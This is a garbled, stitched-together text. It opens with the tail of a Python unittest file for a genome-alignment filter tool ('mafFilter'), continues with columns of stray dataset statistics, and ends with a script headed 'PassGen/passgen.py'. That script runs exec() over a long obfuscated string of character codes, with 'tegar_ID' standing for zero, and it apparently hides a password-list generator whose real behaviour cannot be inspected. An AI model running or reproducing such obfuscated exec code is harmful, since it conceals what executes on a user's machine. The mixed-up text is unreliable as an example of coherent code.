s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s target.chr0 62 9 + 158545518 gca---gaa-aca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s hg16.chr7 27707221 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
'''),
# the overlap is 9 bases long, 62-70
]
g_knownDegreeLT = [('''a score=0
# test0
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
a score=0
# test0
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s name5 50 10 + 100 ATGTATGCCG
a score=0
# test0
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name5 50 10 + 100 ATGTATGCCG
''',
'''a score=0
# test0
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
a score=0
# test0
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name5 50 10 + 100 ATGTATGCCG
'''),]
g_knownDegreeGT = [('''a score=0
# test0
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
a score=0
# test0
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s name5 50 10 + 100 ATGTATGCCG
a score=0
# test0
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name5 50 10 + 100 ATGTATGCCG
''',
'''a score=0
# test0
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s name5 50 10 + 100 ATGTATGCCG
a score=0
# test0
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name5 50 10 + 100 ATGTATGCCG
'''),]
def mafIsFiltered(filename, expected, header):
f = open(filename)
lastLine = mtt.processHeader(f)
maf = ''
b = mtt.extractBlockStr(f, lastLine)
while (b is not None):
lastLine = None
maf += b
b = mtt.extractBlockStr(f, lastLine)
if maf != expected:
print 'dang'
print 'observed:'
print maf
print '!='
print 'expected:'
print expected
f.close()
return False
f.close()
return True
class FilterTest(unittest.TestCase):
def testFilterIncludes(self):
""" mafFilter should report blocks that match the filter settings for --includeSeq.
"""
global g_header
mtt.makeTempDirParent()
for i in xrange(0, len(g_knownIncludes)):
tmpDir = os.path.abspath(mtt.makeTempDir('filterIncludes'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownIncludes[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = []
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--includeSeq', '%s' % g_sequenceList]
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
filtered = mafIsFiltered(os.path.join(tmpDir, 'filtered.maf'), g_knownIncludes[i][1], g_header)
self.assertTrue(filtered)
if filtered:
mtt.removeDir(tmpDir)
def testFilterExcludes(self):
""" mafFilter should report blocks that match the filter settings for --excludeSeq.
"""
global g_header
mtt.makeTempDirParent()
for i in xrange(0, len(g_knownExcludes)):
tmpDir = os.path.abspath(mtt.makeTempDir('filterExcludes'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownExcludes[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = []
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--excludeSeq', '%s' % g_sequenceList]
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
filtered = mafIsFiltered(os.path.join(tmpDir, 'filtered.maf'), g_knownExcludes[i][1], g_header)
self.assertTrue(filtered)
if filtered:
mtt.removeDir(tmpDir)
def testFilterDegreeLT(self):
""" mafFilter should report blocks that match the filter settings for --noDegreeLT.
"""
global g_header
mtt.makeTempDirParent()
for i in xrange(0, len(g_knownDegreeLT)):
tmpDir = os.path.abspath(mtt.makeTempDir('filterDegreeLT'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownDegreeLT[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = []
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--noDegreeLT=4']
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
filtered = mafIsFiltered(os.path.join(tmpDir, 'filtered.maf'), g_knownDegreeLT[i][1], g_header)
self.assertTrue(filtered)
if filtered:
mtt.removeDir(tmpDir)
def testFilterDegreeGT(self):
""" mafFilter should report blocks that match the filter settings for --noDegreeGT.
"""
global g_header
mtt.makeTempDirParent()
for i in xrange(0, len(g_knownDegreeGT)):
tmpDir = os.path.abspath(mtt.makeTempDir('filterDegreeGT'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownDegreeGT[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = []
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--noDegreeGT=4']
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
filtered = mafIsFiltered(os.path.join(tmpDir, 'filtered.maf'), g_knownDegreeGT[i][1], g_header)
self.assertTrue(filtered)
if filtered:
mtt.removeDir(tmpDir)
def testMemory1(self):
""" If valgrind is installed on the system, check for memory related errors (1).
"""
mtt.makeTempDirParent()
valgrind = mtt.which('valgrind')
if valgrind is None:
return
global g_header
for i in xrange(0, len(g_knownIncludes)):
tmpDir = os.path.abspath(mtt.makeTempDir('memory1'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownIncludes[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = mtt.genericValgrind(tmpDir)
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--includeSeq', '%s' % g_sequenceList]
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
self.assertTrue(mtt.noMemoryErrors(os.path.join(tmpDir, 'valgrind.xml')))
mtt.removeDir(tmpDir)
def testMemory2(self):
""" If valgrind is installed on the system, check for memory related errors (2).
"""
mtt.makeTempDirParent()
valgrind = mtt.which('valgrind')
if valgrind is None:
return
global g_header
for i in xrange(0, len(g_knownExcludes)):
tmpDir = os.path.abspath(mtt.makeTempDir('memory2'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownExcludes[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = mtt.genericValgrind(tmpDir)
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--excludeSeq', '%s' % g_sequenceList]
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
self.assertTrue(mtt.noMemoryErrors(os.path.join(tmpDir, 'valgrind.xml')))
mtt.removeDir(tmpDir)
def testMemory3(self):
""" If valgrind is installed on the system, check for memory related errors (2).
"""
mtt.makeTempDirParent()
valgrind = mtt.which('valgrind')
if valgrind is None:
return
global g_header
mtt.makeTempDirParent()
for i in xrange(0, len(g_knownDegreeLT)):
tmpDir = os.path.abspath(mtt.makeTempDir('memory3'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownDegreeLT[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = mtt.genericValgrind(tmpDir)
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--noDegreeLT=4']
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
self.assertTrue(mtt.noMemoryErrors(os.path.join(tmpDir, 'valgrind.xml')))
mtt.removeDir(tmpDir)
def testMemory4(self):
""" If valgrind is installed on the system, check for memory related errors (2).
"""
mtt.makeTempDirParent()
valgrind = mtt.which('valgrind')
if valgrind is None:
return
global g_header
mtt.makeTempDirParent()
for i in xrange(0, len(g_knownDegreeGT)):
tmpDir = os.path.abspath(mtt.makeTempDir('memory4'))
testMafPath, g_header = mtt.testFile(os.path.abspath(os.path.join(tmpDir, 'test.maf')),
g_knownDegreeGT[i][0], g_headers)
parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
cmd = mtt.genericValgrind(tmpDir)
cmd.append(os.path.abspath(os.path.join(parent, 'test', 'mafFilter')))
cmd += ['--maf', testMafPath, '--noDegreeGT=4']
outpipes = [os.path.abspath(os.path.join(tmpDir, 'filtered.maf'))]
mtt.recordCommands([cmd], tmpDir, outPipes=outpipes)
mtt.runCommandsS([cmd], tmpDir, outPipes=outpipes)
self.assertTrue(mtt.noMemoryErrors(os.path.join(tmpDir, 'valgrind.xml')))
mtt.removeDir(tmpDir)
if __name__ == '__main__':
unittest.main()
| 41.910959
| 107
| 0.589394
| 3,134
| 24,476
| 4.571474
| 0.097958
| 0.046416
| 0.05179
| 0.049836
| 0.873177
| 0.86857
| 0.868081
| 0.865359
| 0.864033
| 0.861241
| 0
| 0.160823
| 0.303154
| 24,476
| 583
| 108
| 41.982847
| 0.679174
| 0.05536
| 0
| 0.815584
| 0
| 0
| 0.469133
| 0.001287
| 0
| 0
| 0
| 0
| 0.020779
| 0
| null | null | 0
| 0.015584
| null | null | 0.015584
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
050202cd594f5d73bc7ac32ed533b94205de9689
| 242
|
py
|
Python
|
nlp_api/test/gpt_article_continued.py
|
920232796/NLP_flask
|
aebbfc466e45d824da8c1224963e4f1a140fd404
|
[
"Apache-2.0"
] | 6
|
2021-08-19T15:50:56.000Z
|
2021-11-17T03:29:30.000Z
|
nlp_api/test/gpt_article_continued.py
|
920232796/NLP_flask
|
aebbfc466e45d824da8c1224963e4f1a140fd404
|
[
"Apache-2.0"
] | null | null | null |
nlp_api/test/gpt_article_continued.py
|
920232796/NLP_flask
|
aebbfc466e45d824da8c1224963e4f1a140fd404
|
[
"Apache-2.0"
] | 1
|
2022-02-27T19:23:25.000Z
|
2022-02-27T19:23:25.000Z
|
import torch
from bert_seq2seq import load_gpt
from bert_seq2seq import load_chinese_base_vocab
def get_article(model, text, out_max_length=300, top_k=30):
return model.sample_generate(text, out_max_length=out_max_length, top_k=top_k)
| 30.25
| 82
| 0.830579
| 43
| 242
| 4.27907
| 0.581395
| 0.097826
| 0.195652
| 0.228261
| 0.271739
| 0
| 0
| 0
| 0
| 0
| 0
| 0.032407
| 0.107438
| 242
| 8
| 82
| 30.25
| 0.819444
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.6
| 0.2
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
053700f193f5e3b664cfdde6548ffbc4a4bff505
| 206
|
py
|
Python
|
tests/step_utils/__init__.py
|
jharrymoore/Icolos
|
c60cc00c34208ab7011d41d52a74651763673e7a
|
[
"Apache-2.0"
] | 11
|
2022-01-30T14:36:13.000Z
|
2022-03-22T09:40:57.000Z
|
tests/step_utils/__init__.py
|
jharrymoore/Icolos
|
c60cc00c34208ab7011d41d52a74651763673e7a
|
[
"Apache-2.0"
] | 2
|
2022-03-23T07:56:49.000Z
|
2022-03-24T12:01:42.000Z
|
tests/step_utils/__init__.py
|
jharrymoore/Icolos
|
c60cc00c34208ab7011d41d52a74651763673e7a
|
[
"Apache-2.0"
] | 8
|
2022-01-28T10:32:31.000Z
|
2022-03-22T09:40:59.000Z
|
from tests.step_utils.test_input_merger import *
from tests.step_utils.test_input_preparator import *
from tests.step_utils.test_run_variables_resolver import *
from tests.step_utils.test_writeout import *
| 41.2
| 58
| 0.864078
| 32
| 206
| 5.1875
| 0.40625
| 0.216867
| 0.313253
| 0.433735
| 0.698795
| 0.698795
| 0
| 0
| 0
| 0
| 0
| 0
| 0.07767
| 206
| 4
| 59
| 51.5
| 0.873684
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
758fc763f1ae288f9c68c5b3dca74d4c35a30e6a
| 27,480
|
py
|
Python
|
PassGen/passgen.py
|
shyamjangid07/Reverse-Engineering
|
469efabcd6057f7895d8d891f1fabdf2ffe730b0
|
[
"Apache-2.0"
] | 337
|
2020-08-15T12:22:14.000Z
|
2022-03-29T06:05:15.000Z
|
PassGen/passgen.py
|
Wh014M/Reverse-Engineering
|
f7aae2c43f7ea4a6730964d085c07814b6660a53
|
[
"Apache-2.0"
] | 3
|
2020-11-12T14:30:48.000Z
|
2021-05-18T16:56:22.000Z
|
PassGen/passgen.py
|
Wh014M/Reverse-Engineering
|
f7aae2c43f7ea4a6730964d085c07814b6660a53
|
[
"Apache-2.0"
] | 83
|
2020-08-15T00:22:58.000Z
|
2022-03-31T08:40:23.000Z
|
#Encrypted By Tegar-ID
#Github : https://github.com/Tegar-ID/
#Jangan di edit tolol nanti error
from collections import OrderedDict
exec("".join(map(chr,[int("".join(str(OrderedDict([('tegar_ID', 0), ('1', 1), ('2', 2), ('3', 3), ('4', 4), ('5', 5), ('6', 6), ('7', 7), ('8', 8), ('9', 9)])[i]) for i in x.split())) for x in
"3 5 3 3 1 1 7 1 1 5 1 1 4 4 7 9 8 1 tegar_ID 5 1 1 tegar_ID 4\
7 1 1 2 1 2 1 1 1 6 1 tegar_ID 4 1 1 1 1 1 tegar_ID 5 tegar_ID\
4 6 5 5 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2\
3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2\
3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2\
3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2\
3 2 3 2 3 2 3 2 3 2 1 tegar_ID 3 5 3 2 4 5 4 2 4 5 3 2 9\
9 1 1 1 1 tegar_ID tegar_ID 1 tegar_ID 5 1 1 tegar_ID 1 tegar_ID\
3 5 8 3 2 8 5 8 4 7 tegar_ID 4 5 5 6 3 2 4 5 4 2 4 5 1 te\
gar_ID 1 tegar_ID 5 1 tegar_ID 9 1 1 2 1 1 1 1 1 4 1 1 6 3 2 1\
1 5 1 1 6 1 1 4 1 tegar_ID 5 1 1 tegar_ID 1 tegar_ID 3 4 4 3 2\
1 1 4 9 7 1 1 tegar_ID 1 tegar_ID tegar_ID 1 1 1 1 tegar_ID 9 \
4 4 3 2 1 1 5 1 2 1 1 1 5 4 4 3 2 1 1 6 1 tegar_ID 5 1 tegar_\
ID 9 1 tegar_ID 1 4 4 3 2 1 1 1 1 1 5 1 tegar_ID 6 6 3 2 6 1 \
3 2 3 9 9 2 1 2 tegar_ID 4 9 9 8 9 1 5 1 5 2 1 tegar_ID 9 3\
9 1 tegar_ID 8 2 3 2 6 1 3 2 3 9 9 2 1 2 tegar_ID 4 9 9 8 \
9 1 5 1 4 9 1 tegar_ID 9 3 9 1 tegar_ID 8 7 3 2 6 1 3 2 3 9 \
9 2 1 2 tegar_ID 4 9 9 8 9 1 4 8 1 tegar_ID 9 3 9 1 tegar_ID \
8 9 3 2 6 1 3 2 3 9 9 2 1 2 tegar_ID 4 9 9 8 9 1 5 1 5 1 \
5 9 5 3 1 tegar_ID 9 3 9 1 tegar_ID 1 tegar_ID 1 tegar_ID 1 teg\
ar_ID 1 tegar_ID tegar_ID 1 tegar_ID 1 1 tegar_ID 2 3 2 1 tegar_I\
D 3 1 tegar_ID 1 1 1 tegar_ID 4 tegar_ID 4 1 5 8 1 tegar_ID 3 2\
3 2 3 2 3 2 9 9 1 tegar_ID 4 9 7 1 1 4 1 1 5 3 2 6 1 3 2 \
1 1 5 1 1 6 1 1 4 1 tegar_ID 5 1 1 tegar_ID 1 tegar_ID 3 4 6 9 \
7 1 1 5 9 9 1 tegar_ID 5 1 tegar_ID 5 9 5 1 1 7 1 1 2 1 1 2 1\
tegar_ID 1 1 1 4 9 9 9 7 1 1 5 1 tegar_ID 1 3 2 4 3 3 2 1 1 \
5 1 1 6 1 1 4 1 tegar_ID 5 1 1 tegar_ID 1 tegar_ID 3 4 6 9 7 1\
1 5 9 9 1 tegar_ID 5 1 tegar_ID 5 9 5 1 tegar_ID 8 1 1 1 1 1 9\
1 tegar_ID 1 1 1 4 9 9 9 7 1 1 5 1 tegar_ID 1 3 2 4 3 3 2 1\
1 5 1 1 6 1 1 4 1 tegar_ID 5 1 1 tegar_ID 1 tegar_ID 3 4 6 1 t\
egar_ID tegar_ID 1 tegar_ID 5 1 tegar_ID 3 1 tegar_ID 5 1 1 6 1 1\
5 1 tegar_ID 3 2 3 2 3 2 3 2 1 1 4 1 tegar_ID 1 1 1 6 1 1 7 \
1 1 4 1 1 tegar_ID 3 2 4 tegar_ID 3 9 3 9 4 1 4 6 1 tegar_ID \
6 1 1 1 1 tegar_ID 5 1 1 tegar_ID 4 tegar_ID 1 1 4 9 7 1 1 tega\
r_ID 1 tegar_ID tegar_ID 1 1 1 1 tegar_ID 9 4 6 9 9 1 tegar_ID 4\
1 1 1 1 tegar_ID 5 9 9 1 tegar_ID 1 4 tegar_ID 9 9 1 tegar_ID \
4 9 7 1 1 4 1 1 5 4 1 3 2 1 tegar_ID 2 1 1 1 1 1 4 3 2 1 2 t\
egar_ID 3 2 1 tegar_ID 5 1 1 tegar_ID 3 2 1 1 4 9 7 1 1 tegar_I\
D 1 tegar_ID 3 1 tegar_ID 1 4 tegar_ID 4 9 5 tegar_ID 4 1 4 1 \
1 tegar_ID 1 tegar_ID 3 5 1 tegar_ID 7 1 1 1 1 tegar_ID tegar_ID \
1 tegar_ID 1 3 2 1 1 9 9 7 1 1 4 1 1 tegar_ID 9 7 1 tegar_ID \
1 1 9 1 tegar_ID tegar_ID 3 2 6 1 3 2 3 4 9 2 4 8 5 1 5 1 9 \
1 5 7 4 8 5 9 4 9 1 tegar_ID 9 3 4 3 2 3 5 3 2 1 tegar_ID te\
gar_ID 9 7 1 1 4 1 tegar_ID 7 1 tegar_ID 7 1 7 6 3 2 6 1 3 2 \
3 4 9 2 4 8 5 1 5 1 9 1 5 7 5 4 5 9 4 9 1 tegar_ID 9 3 4 \
3 2 3 5 3 2 6 6 1 tegar_ID 8 1 1 7 1 tegar_ID 1 3 2 9 7 1 1 3\
1 1 7 9 7 1 tegar_ID 6 6 6 6 3 2 6 1 3 2 3 4 9 2 4 8 5 1 \
5 1 9 1 5 1 5 2 5 9 4 9 1 tegar_ID 9 3 4 3 2 3 5 3 2 6 6 \
1 tegar_ID 8 1 1 7 1 tegar_ID 1 3 2 1 tegar_ID 8 1 tegar_ID 5 1 \
tegar_ID 3 1 tegar_ID 4 1 1 6 1 tegar_ID 8 9 8 9 3 2 6 1 3 2 \
3 4 9 2 4 8 5 1 5 1 9 1 5 1 5 1 5 9 4 9 1 tegar_ID 9 3 4 3\
2 3 5 3 2 8 9 1 tegar_ID 1 1 tegar_ID 8 1 tegar_ID 8 1 1 1 1 \
1 9 3 2 1 tegar_ID 8 1 tegar_ID 5 1 tegar_ID 3 1 tegar_ID 4 1 1 \
6 1 tegar_ID 7 1 7 1 3 2 6 1 3 2 3 4 9 2 4 8 5 1 5 1 9 1 \
5 1 5 tegar_ID 5 9 4 9 1 tegar_ID 9 3 4 3 2 3 5 3 2 7 1 1 1 \
4 1 tegar_ID 1 1 tegar_ID 1 1 1 tegar_ID 3 2 1 tegar_ID 8 1 tega\
r_ID 5 1 tegar_ID 3 1 tegar_ID 4 1 1 6 1 tegar_ID 8 7 8 7 3 2 \
6 1 3 2 3 4 9 2 4 8 5 1 5 1 9 1 4 8 5 9 4 9 1 tegar_ID 9 3\
4 3 2 3 2 3 5 3 2 8 7 1 tegar_ID 4 1 tegar_ID 5 1 1 6 1 tega\
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8 7 2 2 6 1 4 8 1 2 9 2 2 6 1 4 8 1 8 7 3 4 4 3 6 7 4 3 3 \
4 2 2 6 1 5 7 1 6 2 3 4 1 tegar_ID 1 1 2 1 1 4 1 tegar_ID 5 1\
1 tegar_ID 1 1 6 3 2 3 4 3 2 3 4 1 tegar_ID 1 tegar_ID 1 tega\
r_ID 1 1 2 1 tegar_ID 5 1 tegar_ID 8 1 tegar_ID 5 1 tegar_ID 4 9\
7 1 1 tegar_ID 3 2 6 1 3 2 3 9 1 2 1 3 9 1 tegar_ID 1 1 9 1\
tegar_ID 4 1 tegar_ID 5 1 tegar_ID 8 1 tegar_ID 1 3 2 1 1 2 1 t\
egar_ID 5 1 tegar_ID 8 1 tegar_ID 5 1 tegar_ID 4 9 7 1 1 tegar_ID\
3 2 3 3 6 1 3 2 3 9 1 1 6 3 9 5 8 1 tegar_ID 3 2 3 2 3 2 \
3 2 1 1 6 1 1 4 1 2 1 5 8 1 tegar_ID 3 2 3 2 3 2 3 2 3 2 3\
2 3 2 3 2 1 1 2 1 1 4 1 tegar_ID 5 1 1 tegar_ID 1 1 6 3 2 3 \
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5 5 1 tegar_ID 9 8 tegar_ID 9 7 1 1 5 1 1 5 1 1 9 1 1 1 1 1 4\
1 tegar_ID tegar_ID 3 2 5 8 9 2 1 2 tegar_ID 4 9 9 8 9 1 5 1\
5 tegar_ID 5 9 4 9 1 tegar_ID 9 3 2 3 9 3 2 4 3 3 2 1 tegar\
_ID 3 1 tegar_ID 1 1 1 tegar_ID 4 tegar_ID 4 1 1 tegar_ID 3 2 3\
2 3 2 3 2 3 2 3 2 3 2 3 2 1 1 2 1 tegar_ID 5 1 tegar_ID 8 1\
tegar_ID 5 1 tegar_ID 4 9 7 1 1 tegar_ID 3 2 6 1 3 2 1 1 4 9 \
7 1 1 9 9 5 1 tegar_ID 5 1 1 tegar_ID 1 1 2 1 1 7 1 1 6 4 tega\
r_ID 3 9 8 tegar_ID 1 1 4 1 tegar_ID 1 1 1 5 1 1 5 3 2 9 1 6 \
9 1 1 tegar_ID 1 1 6 1 tegar_ID 1 1 1 4 9 3 3 2 8 4 1 1 1 3 2\
8 2 1 tegar_ID 1 1 tegar_ID 3 1 tegar_ID 1 1 1 tegar_ID 1 tegar\
_ID 1 1 1 4 9 7 1 1 6 1 tegar_ID 1 3 2 9 7 1 1 tegar_ID 1 tega\
r_ID tegar_ID 3 2 9 1 6 7 8 4 8 2 7 6 4 3 9 tegar_ID 9 3 3 2\
8 4 1 1 1 3 2 8 3 1 1 6 1 1 1 1 1 2 3 9 4 1 1 tegar_ID 3 2\
3 2 3 2 3 2 3 2 3 2 3 2 3 2 9 9 1 1 1 1 1 tegar_ID 1 1 6 \
1 tegar_ID 5 1 1 tegar_ID 1 1 7 1 tegar_ID 1 1 tegar_ID 3 2 3 2 \
3 2 3 2 1 tegar_ID 1 1 2 tegar_ID 9 9 1 tegar_ID 1 1 1 2 1 1 6\
3 2 7 5 1 tegar_ID 1 1 2 1 9 8 1 1 1 9 7 1 1 4 1 tegar_ID te\
gar_ID 7 3 1 1 tegar_ID 1 1 6 1 tegar_ID 1 1 1 4 1 1 4 1 1 7 1\
1 2 1 1 6 5 8 1 tegar_ID 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 \
1 1 2 1 1 4 1 tegar_ID 5 1 1 tegar_ID 1 1 6 3 2 8 2 3 2 4 3 3\
2 3 9 9 2 1 1 tegar_ID 9 1 3 9 3 2 4 3 3 2 8 7 3 2 4 3 3 \
2 3 9 3 3 3 9 3 2 4 3 3 2 8 2 3 2 4 3 3 2 3 9 9 3 3 2 3 \
9 3 2 4 3 3 2 8 7 3 2 4 3 3 2 3 9 9 9 1 1 6 1 1 4 1 tegar_\
ID 8 4 3 9 9 3 2 1 tegar_ID tegar_ID 1 tegar_ID 1 1 1 6 1 tegar\
_ID 1 9 9 1 1 6 1 tegar_ID 1 1 tegar_ID tegar_ID 3 9 1 tegar_ID \
3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 1 1 2 1 1 4 1 tegar_ID 5 1\
1 tegar_ID 1 1 6 3 2 8 2 3 2 4 3 3 2 3 9 9 1 3 9 3 2 4 3 \
3 2 8 7 3 2 4 3 3 2 3 9 3 3 3 9 3 2 4 3 3 2 8 2 3 2 4 3 \
3 2 3 9 9 3 3 2 3 9 3 2 4 3 3 2 8 7 3 2 4 3 3 2 3 9 1 1 6\
1 1 4 1 2 1 1 tegar_ID 5 1 1 tegar_ID 1 tegar_ID 3 3 2 1 1 6 \
1 1 1 3 2 1 tegar_ID 1 1 2 tegar_ID 1 tegar_ID 5 1 1 6 3 9 1 te\
gar_ID 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 1 1 6 1 tegar_ID 5 1\
tegar_ID 9 1 tegar_ID 1 4 6 1 1 5 1 tegar_ID 8 1 tegar_ID 1 1 t\
egar_ID 1 1 1 2 4 tegar_ID 5 1 4 1 1 tegar_ID 3 2 3 2 3 2 3 2\
3 2 3 2 3 2 3 2 1 1 5 1 2 1 1 1 5 4 6 1 tegar_ID 1 1 2 tega\
